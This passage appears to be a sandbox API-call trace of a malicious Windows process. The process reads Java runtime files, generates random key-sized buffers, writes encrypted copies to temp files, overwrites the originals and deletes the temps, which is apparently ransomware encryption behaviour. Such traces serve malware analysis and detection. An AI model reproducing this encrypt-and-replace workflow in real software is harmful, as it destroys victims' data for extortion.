[160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0255.239] SetEvent (hEvent=0x124) returned 1
	[0255.239] ResumeThread (hThread=0x120) returned 0x1
	[0255.239] CloseHandle (hObject=0x120) returned 1
	[0255.239] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc28*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x0
	[0255.347] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff4c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff498, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff4c0, ulNumEntriesRemoved=0x7070fff498) returned 0
	[0255.347] SetEvent (hEvent=0xe4) returned 1
	[0255.347] WaitForMultipleObjects (nCount=0x2, lpHandles=0x7070fffc38*=0x190, bWaitAll=0, dwMilliseconds=0x1) returned 0x0
	[0255.402] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0255.445] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0256.576] SetEvent (hEvent=0x188) returned 1
	[0256.576] WriteFile (in: hFile=0x0, lpBuffer=0xc000226000, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc0000fbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000fbd94, lpOverlapped=0x0) returned 0
	[0256.576] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x9f, lpNumberOfBytesWritten=0xc0000fbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000fbd94, lpOverlapped=0x0) returned 0
	[0256.576] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0256.576] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0000fbbf4 | out: lpMode=0xc0000fbbf4) returned 0
	[0256.577] GetFileType (hFile=0x1b0) returned 0x1
	[0256.577] GetFileType (hFile=0x1b0) returned 0x1
	[0256.577] GetFileInformationByHandle (in: hFile=0x1b0, lpFileInformation=0xc0000fbc44 | out: lpFileInformation=0xc0000fbc44) returned 1
	[0256.577] GetFileInformationByHandleEx (in: hFile=0x1b0, FileInformationClass=0x9, lpFileInformation=0xc0000fbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0000fbc28) returned 1
	[0256.577] ReadFile (in: hFile=0x1b0, lpBuffer=0xc00018c000, nNumberOfBytesToRead=0x44861, lpNumberOfBytesRead=0xc0000fbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00018c000*, lpNumberOfBytesRead=0xc0000fbb04*=0x44661, lpOverlapped=0x0) returned 1
	[0256.638] SetEvent (hEvent=0x124) returned 1
	[0256.638] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0001d0661, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0000fbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0001d0661*, lpNumberOfBytesRead=0xc0000fbb04*=0x0, lpOverlapped=0x0) returned 1
	[0256.638] CloseHandle (hObject=0x1b0) returned 1
	[0256.639] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e320 | out: pbBuffer=0xc00000e320) returned 1
	[0256.639] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a240 | out: pbBuffer=0xc00021a240) returned 1
	[0256.639] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000601 | out: pbBuffer=0xc000000601) returned 1
	[0256.640] VirtualAlloc (lpAddress=0xc0002ce000, dwSize=0x46000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0002ce000
	[0256.647] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\afa71ec0e82a83adb2e3e303459f7b7d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\afa71ec0e82a83adb2e3e303459f7b7d"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0256.948] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0256.948] GetFileType (hFile=0x1ac) returned 0x1
	[0256.948] WriteFile (in: hFile=0x1ac, lpBuffer=0xc0002ce000*, nNumberOfBytesToWrite=0x44761, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc0002ce000*, lpNumberOfBytesWritten=0xc0001dbbec*=0x44761, lpOverlapped=0x0) returned 1
	[0256.959] CloseHandle (hObject=0x1ac) returned 1
	[0257.105] SetEvent (hEvent=0x124) returned 1
	[0257.105] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ac
	[0257.112] GetConsoleMode (in: hConsoleHandle=0x1ac, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0257.112] GetFileType (hFile=0x1ac) returned 0x1
	[0257.112] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\afa71ec0e82a83adb2e3e303459f7b7d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\afa71ec0e82a83adb2e3e303459f7b7d"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0257.112] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0257.112] GetFileType (hFile=0x120) returned 0x1
	[0257.113] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.113] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000128000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.128] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.129] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000128000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.131] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.131] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000128000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.134] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.134] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000128000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.136] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.136] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000128000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.137] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.138] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000128000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.154] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.154] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000128000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.156] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0257.156] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000128000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0257.157] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x4761, lpOverlapped=0x0) returned 1
	[0257.157] WriteFile (in: hFile=0x1ac, lpBuffer=0xc000128000*, nNumberOfBytesToWrite=0x4761, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x4761, lpOverlapped=0x0) returned 1
	[0257.159] ReadFile (in: hFile=0x120, lpBuffer=0xc000128000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000128000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0257.159] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\afa71ec0e82a83adb2e3e303459f7b7d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\afa71ec0e82a83adb2e3e303459f7b7d")) returned 0
	[0257.160] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\afa71ec0e82a83adb2e3e303459f7b7d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\afa71ec0e82a83adb2e3e303459f7b7d")) returned 0
	[0257.160] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\afa71ec0e82a83adb2e3e303459f7b7d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\afa71ec0e82a83adb2e3e303459f7b7d")) returned 0x20
	[0257.160] CloseHandle (hObject=0x120) returned 1
	[0257.160] CloseHandle (hObject=0x1ac) returned 1
	[0257.168] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\afa71ec0e82a83adb2e3e303459f7b7d" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\afa71ec0e82a83adb2e3e303459f7b7d")) returned 1
	[0257.261] SetEvent (hEvent=0xfc) returned 1
	[0257.261] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0257.261] WriteFile (in: hFile=0x0, lpBuffer=0xc00007a0a0, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0257.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0257.262] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0257.262] GetFileType (hFile=0x120) returned 0x1
	[0257.262] GetFileType (hFile=0x120) returned 0x1
	[0257.262] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0257.262] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0257.262] ReadFile (in: hFile=0x120, lpBuffer=0xc000054000, nNumberOfBytesToRead=0x81bb, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc000054000*, lpNumberOfBytesRead=0xc0001dbb04*=0x7fbb, lpOverlapped=0x0) returned 1
	[0261.744] SetEvent (hEvent=0x124) returned 1
	[0261.744] ReadFile (in: hFile=0x120, lpBuffer=0xc00005bfbb, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc00005bfbb*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0261.744] CloseHandle (hObject=0x120) returned 1
	[0261.745] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e680 | out: pbBuffer=0xc00000e680) returned 1
	[0261.745] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a4d0 | out: pbBuffer=0xc00021a4d0) returned 1
	[0261.745] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000d01 | out: pbBuffer=0xc000000d01) returned 1
	[0261.745] VirtualAlloc (lpAddress=0xc00024a000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00024a000
	[0261.747] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e9dd75c7375e6ece99d0faf33540be8b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e9dd75c7375e6ece99d0faf33540be8b"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.016] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0263.016] GetFileType (hFile=0x120) returned 0x1
	[0263.016] WriteFile (in: hFile=0x120, lpBuffer=0xc00024a000*, nNumberOfBytesToWrite=0x80bb, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc00024a000*, lpNumberOfBytesWritten=0xc0001dbbec*=0x80bb, lpOverlapped=0x0) returned 1
	[0263.017] CloseHandle (hObject=0x120) returned 1
	[0263.104] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunmscapi.jar"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.106] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0263.106] GetFileType (hFile=0x120) returned 0x1
	[0263.106] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e9dd75c7375e6ece99d0faf33540be8b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e9dd75c7375e6ece99d0faf33540be8b"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0263.106] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0263.106] GetFileType (hFile=0x1b0) returned 0x1
	[0263.106] VirtualAlloc (lpAddress=0xc000272000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000272000
	[0263.107] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000272000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x8000, lpOverlapped=0x0) returned 1
	[0263.107] WriteFile (in: hFile=0x120, lpBuffer=0xc000272000*, nNumberOfBytesToWrite=0x8000, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x8000, lpOverlapped=0x0) returned 1
	[0263.109] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000272000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesRead=0xc0001dbbd4*=0xbb, lpOverlapped=0x0) returned 1
	[0263.109] WriteFile (in: hFile=0x120, lpBuffer=0xc000272000*, nNumberOfBytesToWrite=0xbb, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesWritten=0xc0001dbb74*=0xbb, lpOverlapped=0x0) returned 1
	[0263.109] ReadFile (in: hFile=0x1b0, lpBuffer=0xc000272000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc000272000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0263.109] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e9dd75c7375e6ece99d0faf33540be8b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e9dd75c7375e6ece99d0faf33540be8b")) returned 0
	[0263.109] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e9dd75c7375e6ece99d0faf33540be8b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e9dd75c7375e6ece99d0faf33540be8b")) returned 0
	[0263.109] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e9dd75c7375e6ece99d0faf33540be8b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e9dd75c7375e6ece99d0faf33540be8b")) returned 0x20
	[0263.109] CloseHandle (hObject=0x1b0) returned 1
	[0263.109] CloseHandle (hObject=0x120) returned 1
	[0263.110] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\e9dd75c7375e6ece99d0faf33540be8b" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\e9dd75c7375e6ece99d0faf33540be8b")) returned 1
	[0263.236] SetEvent (hEvent=0x188) returned 1
	[0263.236] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0x5c, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0263.236] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8400, nNumberOfBytesToWrite=0xae, lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001dbd94, lpOverlapped=0x0) returned 0
	[0263.236] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0263.236] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbbf4 | out: lpMode=0xc0001dbbf4) returned 0
	[0263.236] GetFileType (hFile=0x120) returned 0x1
	[0263.236] GetFileType (hFile=0x120) returned 0x1
	[0263.236] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0001dbc44 | out: lpFileInformation=0xc0001dbc44) returned 1
	[0263.236] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0001dbc28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001dbc28) returned 1
	[0263.237] ReadFile (in: hFile=0x120, lpBuffer=0xc0000ee2c0, nNumberOfBytesToRead=0x2a5, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000ee2c0*, lpNumberOfBytesRead=0xc0001dbb04*=0xa5, lpOverlapped=0x0) returned 1
	[0263.238] ReadFile (in: hFile=0x120, lpBuffer=0xc0000ee365, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001dbb04, lpOverlapped=0x0 | out: lpBuffer=0xc0000ee365*, lpNumberOfBytesRead=0xc0001dbb04*=0x0, lpOverlapped=0x0) returned 1
	[0263.238] CloseHandle (hObject=0x120) returned 1
	[0263.238] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0000c0380 | out: pbBuffer=0xc0000c0380) returned 1
	[0263.238] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c260 | out: pbBuffer=0xc00028c260) returned 1
	[0263.238] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8601 | out: pbBuffer=0xc0002a8601) returned 1
	[0263.238] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\32836cd8a345d79e2cf45e29cbadc00e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\32836cd8a345d79e2cf45e29cbadc00e"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.492] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbc04 | out: lpMode=0xc0001dbc04) returned 0
	[0263.492] GetFileType (hFile=0x120) returned 0x1
	[0263.492] WriteFile (in: hFile=0x120, lpBuffer=0xc0000f0200*, nNumberOfBytesToWrite=0x1a5, lpNumberOfBytesWritten=0xc0001dbbec, lpOverlapped=0x0 | out: lpBuffer=0xc0000f0200*, lpNumberOfBytesWritten=0xc0001dbbec*=0x1a5, lpOverlapped=0x0) returned 1
	[0263.493] CloseHandle (hObject=0x120) returned 1
	[0263.564] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copydrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0263.566] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0263.566] GetFileType (hFile=0x120) returned 0x1
	[0263.566] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\32836cd8a345d79e2cf45e29cbadc00e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\32836cd8a345d79e2cf45e29cbadc00e"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x1b0
	[0263.566] GetConsoleMode (in: hConsoleHandle=0x1b0, lpMode=0xc0001dbd74 | out: lpMode=0xc0001dbd74) returned 0
	[0263.566] GetFileType (hFile=0x1b0) returned 0x1
	[0263.566] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002aa000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002aa000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x1a5, lpOverlapped=0x0) returned 1
	[0263.566] WriteFile (in: hFile=0x120, lpBuffer=0xc0002aa000*, nNumberOfBytesToWrite=0x1a5, lpNumberOfBytesWritten=0xc0001dbb74, lpOverlapped=0x0 | out: lpBuffer=0xc0002aa000*, lpNumberOfBytesWritten=0xc0001dbb74*=0x1a5, lpOverlapped=0x0) returned 1
	[0263.567] ReadFile (in: hFile=0x1b0, lpBuffer=0xc0002aa000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001dbbd4, lpOverlapped=0x0 | out: lpBuffer=0xc0002aa000*, lpNumberOfBytesRead=0xc0001dbbd4*=0x0, lpOverlapped=0x0) returned 1
	[0263.567] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\32836cd8a345d79e2cf45e29cbadc00e" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\32836cd8a345d79e2cf45e29cbadc00e")) returned 0
